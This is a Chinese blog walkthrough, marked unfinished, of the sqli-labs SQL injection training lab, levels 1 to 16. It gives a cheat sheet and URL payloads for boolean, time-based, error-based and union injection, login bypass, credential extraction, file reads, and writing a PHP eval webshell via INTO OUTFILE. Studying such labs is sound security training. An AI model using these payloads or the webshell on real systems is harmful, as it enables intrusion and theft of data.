sqli-labs 通关之路(未完成)
N年前就下载过的 SQL 注入靶场,终于在今天认真玩一玩。网上教程和攻略很多,方法也不尽相同。取所需吧~
前置知识点乱记
SQL注入 5 种类型:布尔注入,时间注入,报错注入,联合查询注入,堆查询注入。还有一种 SQLMAP 支持的,内联注入。
常用函数:
version()
MySQL版本user()
数据库用户名database()
数据库名@@datadir
数据库路径@@version_compile_os
操作系统版本
字符串连接函数:
concat(a,b,...)
没有分隔符地连接字符串concat_ws(separator,a,b,...)
含有分隔符地连接字符串group_concat(a,b,...)
以逗号分隔
布尔盲注逻辑判断:
left(database(),1)>'s'
left(a,b)
从左侧截取a的前b位ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
substr(a,b,c)
从b位置开始,截取字符串a的c长度。ascii()
将某个字符串转换为ascii值。ascii(substr(select database(),1,1))=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98
ord()
函数同ascii()
,mid()
从位置b开始,截取a字符串的c位。select user() regexp '^[a-z]'
使用正则,正确时结果为1,不正确时结果为0,例如:select * from users where id=1 and 1=(if((user() regexp '^r'),1,0))
,通过if语句的条件判断,例如:select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
,再使用中只需要更换表达式即可'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE
- like匹配注入:
select user() like ‘ro%’
基于报错的SQL盲注:
构造payload让信息通过错误提示回显出来。
-
floor 报错
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a
此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的 重复,三是group by
进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时 重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将rand(0)
,rand()
需要多试几次才行
可以简化为:
select count(\*) from information_schema.tables group by concat(version(), floor(rand(0)\*2))
如果 rand 被禁用了可以使用用户变量来报错
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
-
用户变量报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
-
exp报错,对mysql版本有要求
select exp(~(select * FROM(SELECT USER())a))
double 数值类型超出范围 -
bigint溢出报错
select !(select * from (select user())x) ~0
-
extractvalue报错
extractvalue(1,concat(0x7e,(select @@version),0x7e))
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
-
updatexml报错
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
-
NAME_CONST报错
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
利用了mysql重复特性 -
join报错爆字段,知道表名的情况下使用
select * from (select * from 表名 a join 表名 b) c)
在得到一个字段后,使用using得到下一个字段
select * from (select * from 表名 a join 表名 b using (已知的字段,已知的字段)) c
-
使用GeometryCollection报错
and geometrycollection((select * from(select * from(select user())a)b));
-
通过polygon报错
and polygon((select * from(select * from(select user())a)b));
-
通过multipoint报错
and multipoint((select * from(select * from(select user())a)b));
-
通过multlinestring报错
and multilinestring((select * from(select * from(select user())a)b));
-
通过multpolygon报错
and multipolygon((select * from(select * from(select user())a)b));
-
通过linestring报错
and linestring((select * from(select * from(select user())a)b));
基于时间的SQL盲注:
if(ascii(substr(database(),1,1))>115,0,sleep(5))%23
使用if判断,如果条件为假,执行sleep进行延时UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1
BENCHMARK(count,expr)
用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执 行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源
Mysql--BENCHMARK(100000,MD5(1))
orsleep(5)
Postgresql--PG_SLEEP(5)
ORGENERATE_SERIES(1,10000)
Ms sql server--WAITFOR DELAY ‘0:0:5’
导入导出相关操作
load_file()
导出文件,读取文件并返回该文件的内容。前提条件:
- 文件可读,有读取权限:
and (select count(*) from mysql.user)>0/*
说明具有读写权限 - 必须拥有文件的绝对路径
- 文件大小 max_allowed_packet
一些常见的写法:
load_file(char(99,58,47,98,111,111,116,46,105,110,105)) -- ascii代码
load_file(0x633a2f626f6f742e696e69) -- 16进制
load_file(c:\\boot.ini) -- 路径里的 / 用 \\ 代替
load data infile
将文件导入数据库
load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t'
lines terminated by '\n'
SELECT.....INTO OUTFILE 'file_name'
将内容写入到文件中
也需要文件写权限和绝对路径。
select <?php @eval($_post[“cmd”])?> into outfile “c:\\htdocs\\test.php” -- 直接写入文件
select version() into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 进制文件
-- 通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS TERMINATED BY
-- 16 进制可以为一句话或者其他任何的代码,可自行构造
一些技巧
盲注时,可以先转为小写进行字符比较,得到字符串后再判断大小写,能够大大缩小数据包数量。
Part I:Basic Challenges
less-1
注入点:SELECT * FROM users WHERE id='$id' LIMIT 0,1
注入思路:单引号的字符串注入,常规注入,通过information_schema
获取数据库、表、字段信息
注入过程:
?id=1
?id=1'
?id=1'+and+1=1+--+-
?id=1'+and+1=2+--+-
?id=1'+order+by+3+--+-
?id=-1'+union+select+1,2,3+--+-
?id=-1'+union+select+1,group_concat(schema_name),3+from+information_schema.schemata--+-
?id=-1'+union+select+1,group_concat(table_name),3+from+information_schema.TABLES+where+table_schema%3d'security'--+-
?id=-1'+union+select+1,group_concat(column_name),3+from+information_schema.COLUMNS+where+table_name%3d'users'--+-
?id=-1'+union+select+1,group_concat(id,username,password),3+from+users+where+id%3d1--+-
less-2
注入点:SELECT * FROM users WHERE id=$id LIMIT 0,1
注入思路:整型注入,同 less-1
注入过程:
?id=1
?id=1+and+1=1+--+-
?id=1+and+1=2+--+-
?id=1+order+by+3+--+-
?id=-1+union+select+1,2,3+--+-
?id=-1+union+select+1,group_concat(schema_name),3+from+information_schema.schemata--+-
?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.TABLES+where+table_schema%3d'security'--+-
?id=-1+union+select+1,group_concat(column_name),3+from+information_schema.COLUMNS+where+table_name%3d'users'--+-
?id=-1+union+select+1,group_concat(id,username,password),3+from+users+where+id%3d1--+-
less-3
注入点:SELECT * FROM users WHERE id=('$id') LIMIT 0,1
注入思路:注入点被单引号及括号包含,需要闭合后单引号和括号,判断时可以使用注释,也可自行闭合
注入过程:
?id=1
?id=2')+and+1=('1
?id==2')+and+1=('2
less-4
注入点:SELECT * FROM users WHERE id=("$id") LIMIT 0,1
注入思路:参数由双引号和括号包裹,同 less-1
注入过程:略
less-5
注入点:SELECT * FROM users WHERE id='$id' LIMIT 0,1
注入思路:注入点还是普通的单引号,但是没有回显,为盲注。使用length()
判断位数,ascii()
配合substr()
截取字符串比较判断。也可以使用REGEXP正则匹配,like匹配,或ord等函数。
注入过程:
?id=1
?id=1'
?id=1'+--+-
?id=1'+and+length(database())%3d8+--+-
?id=1'+and+left(database(),1)%3d's'+--+- (查数据库名)
?id=1'+and+ascii(substr((select+table_name+from+information_schema.TABLES+where+table_schema%3ddatabase()+limit+0,1),1,1))%3d101--+- (查第一个表的第一个字符)
?id=1'+and+ascii(substr((select+table_name+from+information_schema.TABLES+where+table_schema%3ddatabase()+limit+0,1),2,1))%3d109--+- (查第一个表的第二个字符)
?id=1'+and+ascii(substr((select+table_name+from+information_schema.TABLES+where+table_schema%3ddatabase()+limit+1,1),1,1))%3d114--+- (查第二个表的第一个字符)
?id=1'+AND+1%3d(SELECT+1+FROM+information_schema.COLUMNS+WHERE+table_schema%3d'security'+AND+table_name%3d'users'+AND+column_name+REGEXP+'^id[a-z]*'+LIMIT+0,1)--+- (使用regexp查询第一个列名)
?id=1'+AND+1%3d(SELECT+1+FROM+information_schema.COLUMNS+WHERE+table_schema%3d'security'+AND+table_name%3d'users'+AND+column_name+LIKE+'u%25'+LIMIT+0,1+)--+- (使用like匹配列名)
?id=1'+AND+1%3d(ORD(MID((SELECT+IFNULL(CAST(username+AS+CHAR),0x20)FROM+security.users+ORDER+BY+id+LIMIT+0,1),1,1))%3d68)--+- (使用ord和mid获取字段数据第一个字符)
?id=1'+AND+1%3d(ORD(MID((SELECT+IFNULL(CAST(username+AS+CHAR),0x20)FROM+security.users+ORDER+BY+id+LIMIT+0,1),2,1))%3d117)--+- (使用ord和mid获取字段数据第二个字符)
注入思路2:使用单引号会报错,因此尝试报错注入。
注入过程:
1'+union+select+1,count(*),concat(0x3a,0x3a,(select+user()),0x3a,0x3a,floor(rand(0)*2))+a+from+information_schema.columns+group+by+a+--+- (使用 floor 报错)
?id=1'+and+extractvalue(1,concat(0x7e,(select+%40%40version),0x7e))--+- (使用extractvalue报错)
注入思路3:尝试延时注入
注入过程:
?id=1'+UNION+SELECT+(IF(SUBSTRING(current,1,1)%3dCHAR(115),BENCHMARK(50000000,ENCODE('MSG','by+5+seconds')),null)),2,3+FROM+(select+database()+as+current)+as+tb1--+- (使用BENCHMARK进行延时)
?id=1'+and+if(ascii(substr(database(),1,1))%3d'117',1,sleep(5))--+- (使用if进行sleep)
less-6
注入点:SELECT * FROM users WHERE id='$id' LIMIT 0,1
注入思路:参数由双引号包裹,同 less-5
注入过程:略
less-7
注入点:SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1
注入思路:题目提示使用outfile导出文件
注入过程:
?id=1'))+or+1%3d1+--+-
?id=1'))+order+by+3--+-
1'))+union+select+1,2,'aaa'+into+outfile+'/Applications/MAMP/htdocs/sqli/Less-7/123.txt'--+-
less-8
注入点:SELECT * FROM users WHERE id='$id' LIMIT 0,1
注入思路:单引号包裹,布尔盲注,同 less-5
注入过程:
?id=1'+and+1%3d2--+-
?id=1'+and+1%3d1--+-
?id=1'+order+by+3--+-
?id=1'+and+left(database(),2)%3d'se'--+-
?id=1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1))%3d101--+-
less-9
注入点:SELECT * FROM users WHERE id='$id' LIMIT 0,1
注入思路:单引号包裹,延时注入
注入过程:
?id=1'+and+if(ascii(substr(database(),1,1))%3d115,0,sleep(10))--+-
?id=1'+and+If(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3d'security'+limit+0,1),1,1))%3d102,1,sleep(5))--+-
?id=1'+and+if(ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3d'users'+limit+0,1),1,1))%3d85,1,sleep(5))--+
?id=1'+and+if(ascii(substr((select+username+from+users+where+id%3d1+limit+0,1),1,1))%3d68,1,sleep(5))--+-
less-10
注入点:SELECT * FROM users WHERE id='$id' LIMIT 0,1
注入思路:双引号包裹,同less-9
注入过程:略
less-11
注入点:SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
注入思路:登陆位置的注入,如果目的是成功登陆,就可以构造逻辑闭合条件。由于能看到报错,想注入数据的话可以使用报错注入。
注入过程:
uname=admin' or 1=1 -- - (逻辑修改登陆)
uname=aaa' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) -- - (报错注入)
注入思路2:由于登陆成功后会将结果回显在页面上,可以使用union select
执行查询结果
注入过程:
uname=1admin ' union select 1,database()#
less-12
注入点:SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1
注入思路:使用括号包裹,同less-11
注入过程:略
less-13
注入点:SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1
注入思路:使用单引号和括号包裹,并且但登陆后不进行数据的回显了,因此可以使用报错注入或者盲注来获取数据
注入过程:
uname=admin') and extractvalue(1,concat(0x7e,(select database()),0x7e))# (报错注入)
uname=admin') and left(database(),1)>'a' -- - (盲注)
uname=admin') and ascii(substr((select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1),1,1))=101 -- - (盲注)
less-14
注入点:SELECT username, password FROM users WHERE username="$uname" and password="$passwd" LIMIT 0,1
注入思路:使用了双引号,同less-13
注入过程:略
less-15
注入点:SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
注入思路:使用单引号,除了登陆成功或失败没有回显。可以使用盲注或延时注入。同less-13
注入过程:略
less-16
注入点:SELECT username, password FROM users WHERE username=("$uname") and password=("$passwd") LIMIT 0,1
注入思路:使用双引号和括号包裹。同less-13
注入过程:略